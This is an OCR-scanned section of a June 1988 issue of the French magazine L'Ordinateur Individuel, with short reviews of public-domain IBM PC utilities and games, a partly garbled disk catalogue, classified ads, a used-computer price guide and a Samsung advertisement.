IBM/UTIL/MEMOBOOT. Placé dans 1' AUTOEXEC.BAT, 
ce logiciel donnera l'alerte aux dares qui lui auront été 
indiquées, en affichant une ligne de commentaire. Par 
exemple, penser à payer le loyer le 28 de chaque mois, ou 
rappeler Dupond le 5 mars... 

B3M/UTIL/PLEASE. Cet utilitaire cache ou rend visible un 
fichier ou un réperroire. Par exemple, PLEASE HIDE *.DOC 
pour cacher les fichiers, DOC, PLEASE F1ND *.DOC pour 
les rendre visibles. Pourquoi faire simple quand on peut faire 
compliqué ? Voir aussi ALTER, ATTR, OPEN et SYSFILE. 
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IBM/JEU/PYRAMID. Un jeu inspiré du célèbre (?) J-Bird, 
où l'on doit modifier la couleur des dalles d'une pyramide en 
sautant d'une marche à l'autre. Injouable sur un IBM AT, car 
trop rapide. Réservé donc aux malheureux possesseurs de PC 
ou compatibles, à l'indice Norton proche de 1 . 
IBM/UTDYSLMNU. Ce logiciel combine deux fonctions : la 
manipulation de fichiers, de façon assez conviviale, et la 
création de menus qui attribuent aux touches de fonction des 
actions au choix, un peu comme dans un fichier BATCH. 
Ainsi, une fois la configuration effectuée, on peut taper F2 
pour charger le tableur, puis revenir au menu en fin de session. 
IBM/UTIL/SRD. Un utilitaire très puissant, mais qui peut 
aussi se révéler très dangereux sans certaines précautions. SRD 
autorise la destruction globale d'un répertoire, y compris ses 
sous-répertoires. Il détruit aussi, et sans confirmation, les 
fichiers protégés en écriture. 

IBM/MUSIQUE/VMUSIC Ce logiciel esr accompagné de 
quatre fichiers de mélodies qu'il joue avec trois voies simulta- 
nées sur PC, AT ou PS. Résultat étonnant qui conduit 
éventuellement à contacter l'auteur pour utiliser cette techno- 
logie dans ses propres logiciels. Moyennant redevance, bien 
sûr. 

IBM/DIVERS/WPK. Un traitement de texte simplifié. 
Littéralement « Word Processor for Kids > : traitement de 
texte pour enfants. ■ 
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IBM/UTIUBACKSCRL 


Scrolling avanl et arrière de l'écran 


IBM/UTIUARC 


Gestion d'archivée. Compactage -04 compactage de fichiers 


IBM/UTIUBORDER 


Paramétrage des couleurs de réclan 


IBM/UTIL/COPYPC 




IBMAJTIUG ËSTION/PB ASE 




IBMAJTIL/FF 




IBMfUTIL/FPRINT 




IBM/UTILAASEPJET 




[BMiUTIL/MARGIN 


Mise en place d'une marge gauche sur l'imprimante 


IBM/UTIL/GETDIR 






Manipulation de fichiers eloeslion des commandes DOS 


IBM/UTIUEFFIC 




IBM/UTIL/MK 




IBM/UTIUOMNI 


Modification et transfert de fichiers, calculs élémentaires 


IBM/UTIUCLOCK 




IBM/LITIUASSIST 


Un aide-mômoire résident peur les commandes du DOS 


.■■■.' HIC 


^p^fon'ên^orhiole sur la longueur du papier 










IBM/UT IL/PC WNDO 








IBM/UT IUS DIRS 




IBMAITIUPCZAP 


Manipulation de fichiers. Remplace la commande DEBUG 


lEM/UTIURAMTEST 


Test complet de la mémoire vive du PC 


I8IWUTIL/SCLEAN 


Deslruclion de ficrifers sur l'ensemble des drachmes 


IBMJUTHjSLMNU 




IBMAJTILAQ 




IBM/UT IUME MB RAIN 


Crealion d'un disque virtuel paramétrable 


IBM/UT IUPEACOCK 


Paramétrage des couleurs de l'écran 


IBMAJTIUAUTOMENU 






Des letlres de la taille souriailée sur votre Imprimante 


IBMAJTIL/BATMAKER 




IBM/UTÏUMAPMEM 




1BMAJTIUFKEVLBL 




IBM/UTIUGLOBALS 




IBM/UTIUDOSEDIT 








IBWUTIUGCOPY2 




IBM/UTIUPCDISK 




IBM/UT IL/ALT AMIFIÀ 




IBM/UTIUHDPREP 


Préparation d'un disque dur pour le lormalage 



IBMAJTIL/PCSTAT 


S Informatio 


IBMWTIUAEBEEP 




IBrvVLfTILjSOUND 




IBM/UT IUWKERE II 




IBM/JEUïPACKMAN 




IBMrJEU/CASTLE 




IBMAJTILjTHEED 




IBM/JE UjPYRAMID 




IBM/UTIL/TUNE 




IBM/JEUrINVADERS 




IBMUËU/FRQGGER 




IBM/UTIL/BATCH/BEEP1 




IBMJJEU/KONG 


. Un jeu d'à 


IBMAJT IL/COMPARE 


Utilitaire de 


IBMfDIUERSïWPK 




IBM/UTIL/CATUTIL 


Gestion de 


IBMAITIUKOLOR 




IBM/UTIUSETPHN 


Paramétrer 


.IBM/UTIL>PLABEL 




IBWUTILJSEARCH 




IBM/UTIUCED 


Editeur pie 


IBWUTILJMIPS 




IBM/UTlUGESTtON/ 


Un résiden 


OESKMATE 




IBM/JE U/COREWAH 




IBM/UTIL/SRD 


Effacemen 


IBM/UTILMLTER 


Modifies!! 


IBM/UTILAC 


Compteu: 


1BM/UTIL/KIKUK 




IBM/UTIUASK 




iBWLrnuNUMON 




IBM/UTIL/NUMOFF 


if.vcif..-*;: 


IBM/UTIL/CAPON 


Modrlicati 


IBWUTIL/CAPOFF 


Modificali 


IBM/UTIUCACHE2 


n Mémoire 


IBM/UT1UCACHE 




IBM/GRAPHISM&3D 


IBMfUTlUGRABBER 


Capture 1' 


IBM/UTIIJMEMOBOOT 




:."■'! ' ■ : ■■■::,;: 


Un héllcof 



la manière de Sidekick 



L'ORDINATEUR INDIVIDUEL N°104/JUIK1! 




NOTRE 

PROCHAIN 

NUMERO 

(JUILLET-AOÛT) 



20 bancs d'essai comparatifs sur les 
PC/XT de 8 000 à 10 000 FF. 

\ 

Les logiciels professionnels à moins de 
1500 FF. 



Station de travail : les "Rolls" de 
l'informatique testées sous DOS, 

OS/2 et UNIX. 



SERVICE 
PUBLICITÉ 



Les nouvelles technologies au service 
de l'agriculture (systèmes experts, Laurence 

robotique, progiciels, télématique...). Rubinstein, 

Virginie 
Bonnet, 



Affichage kiosques 
2 mois en kiosques 
Parution : 24 juin. 



Marie-Colette 
Bar. 




Date limite de remise 
des éléments techniques : 
13 juin. 



Annonces classées 



JR CONSEIL 

recrute 
pour vendre ses micro-ordinateurs 

TECHNICIENS 

et 

AGENTS 

COMMERCIAUX 

Tél. : 89 41 44 91 
89 41 12 24 




APPLE 

Vds MAC +(03/86) +lect. 800 Ko 

+ écran :14000 F. 

Vds imprimante EPSON FX100 

(01/84) ;2 000 F. 

Tél. ; 45 67 98 00. M. J.-L FOURNIER. 








APPLE 

MACINTOSH 5 12/800 Ko (01/871 




Tél. : 93 78 20 16 
ou(16-1)48 05 56 54. 



AMSTRAD 

AMSTRAD PC1512(02/87), 
2 lecteurs, écran couleurs : 
5 000 F. Souris et logiciels. 
Tél. : 43 27 88 88 H. B. 



APPLE 




APPLE 2e, 128 Ko (09/84)+ Image Wnter 2(02/871 


+ drive +rr 


onileurvert+carte 80 col. couleur +iriteri. 


impr + 3 


ait. texte + 45 logiciels + joystick + docs + 


nbx livres 


embêta datneuf. Prix :6 900 F. 


Tel :4805 5381ou1667963872. 



l'pur les ventes, achats de matériels et logiciels de seconde main 
entre particuliers, contacts, demandes d'emploi; divers ■ 

icMB,25ÔfWc '■■ Supplément tKBiîfi, 50 : F 



Pour les offres d'emploi : 



.Suppïéfnenlpholo r>/tpositiî. B0 F ' 



ittodule r :: 5ÛOFhr 
2mo&M, 900 f ht 



Pour les offres commerciales : 



4 modulés, 3 4Ô0 F ht 
8fïtodùles f 6i00 : Fht 



QUE VENDEZ-VOUS ? 



Attention : respecter scrupuleusement, dans 
présentation défini pur Is liste ci-dessous. Sinon, li 
sous votre entière responsabilité... 

□ marque 

□ modèle 
D date d'achat (mois année) 

□ configuration particulière (RAM, cartes d' 
D prix demandé (ou maximum consenti pour un achatl 
D périphériques let prix si vendus à part) 

ipléments matériels divers (et prix si vendus à part) 



□ logiciels originaux cédés avec documentation (et prix si vendus à parti 
n offreur (au choix, indiquer nom, adresse ou tél. ou domiciliation au journal) 


suivante: L'Ordinateur Individuel, Annonces classées, 5, place du Colonel-Fabien, 75491 Paris 
Cède* 10. 

1 1 1 M 1 1 M 1 1 M 1 1 1 ! 1 M 1 1 1 1 1 1 1 1 1 1 


M 1 1 1 1 ! M 1 M M 1 1 1 1 1 1 1 1 1 1 ! 1 1 1 1 1 


1 1 1 1 Il 


1 M M 1 1 1 M 1 


1 M 1 1 1 M M 1 1 M 1 1 1 1 


1 M 1 1 1 1 1 1 1 1 II 


M 1 1 1 1 1 1 1 M 1 M M M 1 M 1 M 1 


1 1 M 1 M 1 1 1 M 1 1 1 M 1 1 1 1 1 1 1 1 



L'ORDINATEUR INDIVIDU EL _V iW/lLLN VM 



i 



ZENITH 

ZENiïHZTBI (05/87), 2FDD72QK0, 

640 Ko RAM. Ecran LCD EL : 1 3 000 F. 
Epson PC+/HD couleur FDD 360 Ko HD 20 Mo. 
Cansgraph. :15 000 F. Epson port. 
(01/87) CPM 11 aut. : 2 500É A 000 F. 
Tél. : 64 99 73 69 soirou 64 97 98 76. 



TANDY 

TANOY1000EX(12/87),1drive 
+ logicie!:Deskmate+jeux 
+ MS-DOS. Bon état. Prix : 7 000 F. 
Sous garantie. Compatible IBM. 
M.HAMAI.Tél. :30429929ap. 17 h. 



IBM 

IBM PC XT SFD (07/86), 640 Ko RAM. Carte 
EGA écran EGA, 2 disquettes 360 Ko, carte 
série, carte parallèle, imprimante 4201-2, 
Prix : 20 000 F. 
M.LAVIOLETTE.Tél.:64 07 64 07. 



IBM PC XT (09/861 DD10Mo, 640 Ko: 

4 200 FHT. 

IBM4202 (09/86) Imprimante : 2 700 F HT. 

Serveur vidéotex PC (03/87) x25 

RTC, 20 voies: 16 860FHT. 

Tél.; 78 00 87 10. 



PROFITEZ DES PRIX D'UN GRAND DU LEASING 


Suite contentieux nous vendons : 




s mémoire - Traitement de leite 




- Divers télex a fcian 




s - Matèrieldimprimeria.erc. 


.il 


™menlatior.etpri.a:LClGEMAT. 


tldFsln-Eaure 93307 iubamlliersCBitei 


. . (11 48 33 38 irjTélant : B70 t74. 




'.-v...,-y .■, i - ; ^-,,.:v i: :.'.-I 

pjtre annonce doit 

Sus parvenir avani 

le 13 juin 




84 


85 


86 


87 


88 


88 
HS 


89 


90 


92 


93 


94 


95 


96 


97 


98 


99 


100 









La commande devra être 
accompagnée d'un règlement par 
chèque à l'ordre du groupe Tesis 
(prix unitaire 27 FF). 




FORUM 



LA COTE 
DE L'OCCASION 



La cote de l'occasion de L 'Oi 

est établie à partir de trois 

sources d'informations : une 

moyenne des prix demandés 

dans les petites annonces 

relevées dans la presse 

spécialisée au cours des deux 

derniers mois, les prix de 

revente pratiqués par les 

boutiques spécialisées dans le 

matériel d'occasion et une 

liste des prix observés pour 

les matériels équivalents 

neufs (quand cela est 

encore possible !) 

On observe ce mois-ci 

l'apparition de l'Atari 

Mega ST2 sur le marché de 

l'occasion, ainsi qu'une forte 

demande sur les Mac SE et 

Mac Plus. 

OLIVIER ARBEY 



idPCI512 

Amstrad PC 1512 
û PCW 8256 



Apple Ile 
Apple IIPIus 
AnpIoMjL 12S 
Apple Mac 5 12 
Apple Mac Plus 
Apple Mac Plus 
Apple Mac SE 
Atari 520 STF 
Atari 520 STFC 
Atari 5205TFM 
Atari 104USTFC 
Atari IDfflSTFM 
Atari MtgaST2 
Bull Mkral 9020 



Gui p.v.| IX-^!;p:i: 

Compaq Portable 

IBM PC 

IBM PC 

IBM PC Portable 

1BMPCXT 

IBMPCXT 

IBMPCXT 

1BMAT3 



tiblePC 

1M24 



SMI'KIMANTliS 



:pout Apple lie 
Lecteur 400 Ko pour Mac 
Xsxmiï 800 Ko pout Mac 
UC,512Ko, lecteur externe 
UC. 3H4 Ko 

UC, 128 Ko, 2 lecteurs, mo. 
UC. 64 Ko. 2 lecteurs, muni 



UC,disuuedurde20Mo 



'.l:.do'lii<-.luro-- 



UC,256Ko,l 

5 Mo 

OC512 Ko, couleur, lecteut 

UC,640Ku, llecteut,disquedurde20Mo 

UC, 2% Ko, 2 lecteurs 

UC512Ko,21era-urs 

Portatif 

5 12 Ko, 2 lecteurs 

256 Ko, 2 lecteurs 

5 1 2 Ko, I kcreur, disque dut de 1 Mo 

5l2Ko, 1 lecteur, disque dur rie 20 Mo 

c!!'„lrLir..Jiï([uedurde30Mo 

640Ko.21ecteUrs.moni.eur 

256Ko,2Ieaeurs 

Ko, 1 lecteur, disque duc de 20 Mo 



Ont aimablement participé à l 'établissement de la cote de Ce mois : La Bourse de k Micro, 
6, rue Rodier. 75009 Paris (tél.: 42 85 07 44) (remise de 10 r -f pour les lecteurs del'Ol sur 
présentation du journal) ; Chip O'Kaz, 107, rue de la Tombe-Issoire, 75014 Paris (tél. ; 
43 21 5100); Ed'en Computer, 102, avenue du Général-Bimr, 75012 Paris (tél. : 
43 42 22 50) ; TPI Ordinateurs Stock Exchange (tél. : 46 05 88 55 ; Minitel : 3615 code 
TPI). Les informations de ce tablait: mit e;é mise, :i iont le -i mai 1 988 ^_ 




PO MOIS-' 



L'ORDINATEUR ]\DmDULL,V : l!H;JUsK 7 19MS 





HlHENGSTLËR 



DEPARTEMENT IMPRIMANTES ET PERIPHERIQUES 




SAMSUNG 

La puissance informatique 
à prix feutrés 

Voici deux micros compatibles 100% au rapport qualité 
prix exceptionnel. Ils correspondent en tous points à la politique 
Samsung: offrir toujours les matériels les plus performants 
aux prix les plus compétitifs. 



SPC-3000/1/2* 

aoaa-2 (4,77/8 mhz) 640 Ko ram 

le disquette de 360 Ko 

de disquette de 360 Ko 
e dur de 20 Mo). 



MFC-6000/1/2/3 

"""";6 (6/10 MHz) 1 Mo RAM 
. leur de disquette de 1,2 Mo 

Cs.io '/icièo EGA Autoswitch : 
ichrame (MDA/Hercules) 

jleur(CGA/EGA) 
ie dur selon modèle 
u 40 Mo) 







SAMSUNG France 33, av. du Maine 
Tour Maine Montparnas 
B.P. 146 - 75755 Paris Cedex 15 
m (1) 45 38 63 36 Télex : 250 730 F 



